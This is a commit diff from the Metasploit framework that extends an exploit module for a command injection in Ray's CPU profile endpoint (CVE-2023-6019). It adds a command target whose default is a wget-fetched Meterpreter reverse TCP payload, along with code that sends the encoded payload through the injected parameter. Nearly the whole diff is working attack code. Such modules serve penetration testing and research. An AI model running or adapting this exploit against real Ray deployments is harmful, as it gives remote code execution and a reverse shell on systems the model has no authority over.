Skip to content

Commit 01b2a1c

Browse files
committed
Enable fetch payload
1 parent 4567789 commit 01b2a1c

File tree

1 file changed

+17
-2
lines changed

1 file changed

+17
-2
lines changed

modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,16 @@ def initialize(info = {})
3636
'Targets' => [
3737
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
3838
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
39-
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ]
39+
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
40+
[
41+
'Linux Command', {
42+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
43+
'DefaultOptions' => {
44+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
45+
'FETCH_COMMAND' => 'WGET'
46+
}
47+
}
48+
]
4049
],
4150
'DefaultTarget' => 0,
4251
'DisclosureDate' => '2023-11-15',
@@ -51,6 +60,7 @@ def initialize(info = {})
5160
register_options(
5261
[
5362
Opt::RPORT(8265),
63+
Msf::OptString.new('TARGET_URI', [ false, 'URI', '/'])
5464
]
5565
)
5666
end
@@ -95,7 +105,12 @@ def exploit
95105
fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip')
96106
ip = first_node['ip']
97107
print_good("Grabbed node info, pid: #{pid}, ip: #{ip}")
98-
execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })
108+
case target['Type']
109+
when :nix_cmd
110+
execute_command(payload.encoded, { pid: pid, ip: ip })
111+
else
112+
execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })
113+
end
99114
end
100115

101116
def execute_command(cmd, opts = {})

0 commit comments

Comments
 (0)